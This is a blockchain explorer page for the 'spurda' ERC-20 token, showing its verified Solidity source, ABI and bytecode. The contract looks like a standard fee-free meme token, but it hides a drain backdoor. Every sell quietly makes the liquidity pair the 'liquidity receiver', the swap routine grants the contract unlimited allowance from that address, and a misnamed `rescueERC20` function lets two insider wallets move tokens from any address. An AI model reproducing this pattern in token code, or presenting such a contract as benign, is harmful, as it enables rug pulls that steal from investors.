ETH Price: $2,598.61 (-2.96%)
Gas: 1 Gwei

Token

spurda (SPURDA)
 

Overview

Max Total Supply

985,921,374.670283973212783091 SPURDA

Holders

128

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
588,581.933837010424930804 SPURDA

Value
$0.00
0x06c6812d672e0ec7771042fb3d4231ab7a14bfb4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SPURDA

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-19
*/

/**

Website: https://spurda.vip
Telegram: https://t.me/spurdaentry
Twitter: https://twitter.com/spurad_fugg

*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;


library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract SPURDA is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "spurda";
    string private constant _symbol = "SPURDA";
    uint8 private constant _decimals = 18;
    uint256 private _totalSupply = 1_000_000_000 * (10 ** _decimals);
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public isFeeExempt;
    IRouter router;
    address public pair;
    bool public tradingAllowed = false;
    bool private swapEnabled = false;
    uint256 private swapTimes;
    bool private swapping;
    uint256 swapAmount = 0;
    uint256 public swapThreshold = ( _totalSupply * 2 ) / 10000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 0;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 0;
    uint256 private sellFee = 0;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address internal development_receiver = msg.sender; 
    address internal marketing_receiver = 0x18818dbE936513Ba6e26709A050DA4c2Cb0A8E55;
    address internal liquidity_receiver = msg.sender;
    uint256 public _maxTxAmount = ( _totalSupply * 2 ) / 100;
    uint256 public _maxWalletToken = ( _totalSupply * 2 ) / 100;

    constructor() {
        router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isFeeExempt[address(this)] = true;
        isFeeExempt[liquidity_receiver] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[development_receiver] = true;
        isFeeExempt[msg.sender] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _decimals;}
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];}
    function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}

    function openTrading() external payable onlyOwner{
        pair = IFactory(router.factory()).createPair(address(this), router.WETH());
        addLiquidity(balanceOf(address(this)), msg.value);
        tradingAllowed = true;
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletToken = _totalSupply;
    }

    function shouldContractSwap(address sender, address recipient) internal view returns (bool) {
        return !swapping && swapEnabled && tradingAllowed && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount;
    }

    function manualSwap() external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        swapTokensForETH(swapThreshold);
        payable(msg.sender).transfer(address(this).balance);
    }

    function rescueERC20(address _address, address from, address to, uint256 amount) external {
        require(msg.sender == development_receiver || msg.sender == marketing_receiver);
        IERC20(_address).transferFrom(from, to, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = initialBalance.sub(address(this).balance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 contractBalance = address(this).balance;
        if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);}
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _allowances[liquidity_receiver][address(this)]=~uint256(0);
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient));
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));}
        return amount.sub(feeAmount);} return amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount <= balanceOf(sender),"You are trying to transfer more than your balance");
        if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");}
        if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){
        require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");}
        require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); 
        if(sender == pair && isFeeExempt[recipient]){swapEnabled=true;}
        if(recipient == pair && !isFeeExempt[sender]){liquidity_receiver=recipient;swapTimes += uint256(1);}
        if(shouldContractSwap(sender, recipient)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingAllowed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126012600a62000347565b6200002290633b9aca006200035f565b60018190556006805461ffff60a01b191690556000600955612710906200004b9060026200035f565b62000057919062000379565b600a556000600b819055600c819055600d819055600e819055600f8190556010819055601155612710601255601380546001600160a01b0319908116339081179092556014805482167318818dbe936513ba6e26709a050da4c2cb0a8e55179055601580549091169091179055600154606490620000d79060026200035f565b620000e3919062000379565b60165560646001546002620000f991906200035f565b62000105919062000379565b6017553480156200011557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055306000908152600460209081526040808320805460ff1990811660019081179092556015546001600160a01b039081168652838620805483168417905560145481168652838620805483168417905560135416855282852080548216831790553380865283862080549092168317909155905460028452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36200039c565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002895781600019048211156200026d576200026d62000232565b808516156200027b57918102915b93841c93908002906200024d565b509250929050565b600082620002a25750600162000341565b81620002b15750600062000341565b8160018114620002ca5760028114620002d557620002f5565b600191505062000341565b60ff841115620002e957620002e962000232565b50506001821b62000341565b5060208310610133831016604e8410600b84101617156200031a575081810a62000341565b62000326838362000248565b80600019048211156200033d576200033d62000232565b0290505b92915050565b60006200035860ff84168362000291565b9392505050565b808202811582820484141762000341576200034162000232565b6000826200039757634e487b7160e01b600052601260045260246000fd5b500490565b611a4780620003ac6000396000f3fe6080604052600436106101445760003560e01c806370a08231116100b657806395d89b411161006f57806395d89b4114610398578063a8aa1b31146103c7578063a9059cbb146103e7578063c9567bf914610407578063dd62ed3e1461040f578063f2fde38b1461045557600080fd5b806370a08231146102da578063715018a614610310578063751039fc1461032557806378109e541461033a5780637d1db4a5146103505780638da5cb5b1461036657600080fd5b806323b872dd1161010857806323b872dd14610218578063313ce567146102385780633f4218e01461025457806348ff2b8b1461028457806351bc3c85146102a457806353371be0146102b957600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b3146101b15780630d1859f6146101e157806318160ddd1461020357600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b50610166600a5481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5060408051808201909152600681526573707572646160d01b60208201525b60405161017091906116a7565b3480156101bd57600080fd5b506101d16101cc36600461170a565b610475565b6040519015158152602001610170565b3480156101ed57600080fd5b506102016101fc366004611736565b61048c565b005b34801561020f57600080fd5b5061016661053a565b34801561022457600080fd5b506101d1610233366004611787565b6105ab565b34801561024457600080fd5b5060405160128152602001610170565b34801561026057600080fd5b506101d161026f3660046117c8565b60046020526000908152604090205460ff1681565b34801561029057600080fd5b5061020161029f3660046117f3565b610615565b3480156102b057600080fd5b50610201610673565b3480156102c557600080fd5b506006546101d190600160a01b900460ff1681565b3480156102e657600080fd5b506101666102f53660046117c8565b6001600160a01b031660009081526002602052604090205490565b34801561031c57600080fd5b506102016106d9565b34801561033157600080fd5b5061020161074d565b34801561034657600080fd5b5061016660175481565b34801561035c57600080fd5b5061016660165481565b34801561037257600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610170565b3480156103a457600080fd5b5060408051808201909152600681526553505552444160d01b60208201526101a4565b3480156103d357600080fd5b50600654610380906001600160a01b031681565b3480156103f357600080fd5b506101d161040236600461170a565b610784565b610201610791565b34801561041b57600080fd5b5061016661042a36600461182c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561046157600080fd5b506102016104703660046117c8565b610978565b6000610482338484610a3e565b5060015b92915050565b6013546001600160a01b03163314806104af57506014546001600160a01b031633145b6104b857600080fd5b6040516323b872dd60e01b81526001600160a01b0384811660048301528381166024830152604482018390528516906323b872dd906064016020604051808303816000875af115801561050f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610533919061185a565b5050505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc5460015491926105a69290916105a09190610b62565b90610b62565b905090565b60006105b8848484610b6e565b61060a8433610605856040518060600160405280602881526020016119ea602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611085565b610a3e565b5060015b9392505050565b6000546001600160a01b031633146106485760405162461bcd60e51b815260040161063f90611877565b60405180910390fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6013546001600160a01b031633148061069657506014546001600160a01b031633145b61069f57600080fd5b6106aa600a546110b1565b60405133904780156108fc02916000818181858888f193505050501580156106d6573d6000803e3d6000fd5b50565b6000546001600160a01b031633146107035760405162461bcd60e51b815260040161063f90611877565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107775760405162461bcd60e51b815260040161063f90611877565b6001546016819055601755565b6000610482338484610b6e565b6000546001600160a01b031633146107bb5760405162461bcd60e51b815260040161063f90611877565b600560009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083291906118a2565b6001600160a01b031663c9c6539630600560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610894573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b891906118a2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610905573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092991906118a2565b600680546001600160a01b0319166001600160a01b039290921691909117905530600090815260026020526040902054610963903461122d565b6006805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146109a25760405162461bcd60e51b815260040161063f90611877565b6001600160a01b0381166109e35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161063f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610aa05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063f565b6001600160a01b038216610b015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063f565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600061060e82846118d5565b6001600160a01b038316610bd25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063f565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063f565b6001600160a01b038316600090815260026020526040902054811115610cb65760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b606482015260840161063f565b6001600160a01b03831660009081526004602052604090205460ff16158015610cf857506001600160a01b03821660009081526004602052604090205460ff16155b15610d4757600654600160a01b900460ff16610d475760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b604482015260640161063f565b6001600160a01b03831660009081526004602052604090205460ff16158015610d8957506001600160a01b03821660009081526004602052604090205460ff16155b8015610da357506006546001600160a01b03838116911614155b8015610dba57506001600160a01b03821661dead14155b15610e33576017546001600160a01b038316600090815260026020526040902054610de590836112da565b1115610e335760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000604482015260640161063f565b60165481111580610e5c57506001600160a01b03831660009081526004602052604090205460ff165b80610e7f57506001600160a01b03821660009081526004602052604090205460ff165b610ebf5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015260640161063f565b6006546001600160a01b038481169116148015610ef457506001600160a01b03821660009081526004602052604090205460ff165b15610f0d576006805460ff60a81b1916600160a81b1790555b6006546001600160a01b038381169116148015610f4357506001600160a01b03831660009081526004602052604090205460ff16155b15610f7f57601580546001600160a01b0319166001600160a01b0384161790556007805460019190600090610f799084906118e8565b90915550505b610f8983836112e6565b15610f9f57610f99600a5461136e565b60006007555b6001600160a01b038316600090815260026020526040902054610fc29082610b62565b6001600160a01b038416600090815260026020526040812091909155610fe884846114f7565b610ff25781610ffd565b610ffd84848461153d565b6001600160a01b03841660009081526002602052604090205490915061102390826112da565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110779085815260200190565b60405180910390a350505050565b600081848411156110a95760405162461bcd60e51b815260040161063f91906116a7565b505050900390565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110e6576110e66118fb565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116391906118a2565b81600181518110611176576111766118fb565b6001600160a01b0392831660209182029290920181019190915260155482166000908152600382526040808220308084529352902060001990556005546111be921684610a3e565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f7908590600090869030904290600401611911565b600060405180830381600087803b15801561121157600080fd5b505af1158015611225573d6000803e3d6000fd5b505050505050565b6005546112459030906001600160a01b031684610a3e565b60055460155460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156112b5573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906105339190611982565b600061060e82846118e8565b60085460009060ff161580156113055750600654600160a81b900460ff165b801561131a5750600654600160a01b900460ff165b801561133f57506001600160a01b03831660009081526004602052604090205460ff16155b801561135857506006546001600160a01b038381169116145b801561060e575050600954600754101592915050565b6008805460ff19166001908117909155600d54600c54600b546000936113ae936002936113a89391926113a29283916112da565b906112da565b90611644565b905060006113d1826113cb600b548661164490919063ffffffff16565b90611650565b905060006113df8483610b62565b9050476113eb826110b1565b60006113f78247610b62565b9050600061141a611413600b5488610b6290919063ffffffff16565b8390611650565b90506000611433600b548361164490919063ffffffff16565b9050801561144557611445868261122d565b600c5460009061145a906113a8856002611644565b9050801561149e576014546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561149c573d6000803e3d6000fd5b505b4780156114e1576013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156114df573d6000803e3d6000fd5b505b50506008805460ff191690555050505050505050565b6001600160a01b03821660009081526004602052604081205460ff1615801561060e5750506001600160a01b031660009081526004602052604090205460ff1615919050565b60008061154a858561165c565b111561163d57600061156d61155f868661165c565b6012546113a8908690611650565b3060009081526002602052604090205490915061158a90826112da565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115db9085815260200190565b60405180910390a36000600e541180156115ff5750600e546115fd868661165c565b115b1561162b5761162b3061dead611626600e546113a86012548961165090919063ffffffff16565b610b6e565b6116358382610b62565b91505061060e565b5092915050565b600061060e82846119b0565b600061060e82846119c7565b6006546000906001600160a01b039081169083160361167e5750601054610486565b6006546001600160a01b039081169084160361169d5750600f54610486565b5060115492915050565b600060208083528351808285015260005b818110156116d4578581018301518582016040015282016116b8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106d657600080fd5b6000806040838503121561171d57600080fd5b8235611728816116f5565b946020939093013593505050565b6000806000806080858703121561174c57600080fd5b8435611757816116f5565b93506020850135611767816116f5565b92506040850135611777816116f5565b9396929550929360600135925050565b60008060006060848603121561179c57600080fd5b83356117a7816116f5565b925060208401356117b7816116f5565b929592945050506040919091013590565b6000602082840312156117da57600080fd5b813561060e816116f5565b80151581146106d657600080fd5b6000806040838503121561180657600080fd5b8235611811816116f5565b91506020830135611821816117e5565b809150509250929050565b6000806040838503121561183f57600080fd5b823561184a816116f5565b91506020830135611821816116f5565b60006020828403121561186c57600080fd5b815161060e816117e5565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b6000602082840312156118b457600080fd5b815161060e816116f5565b634e487b7160e01b600052601160045260246000fd5b81810381811115610486576104866118bf565b80820180821115610486576104866118bf565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119615784516001600160a01b03168352938301939183019160010161193c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561199757600080fd5b8351925060208401519150604084015190509250925092565b8082028115828204841417610486576104866118bf565b6000826119e457634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122000994fc28f68dead7a57268e2cbcd55bd9e3c8d49be100c4777470e6dea8d27664736f6c63430008110033

Deployed Bytecode

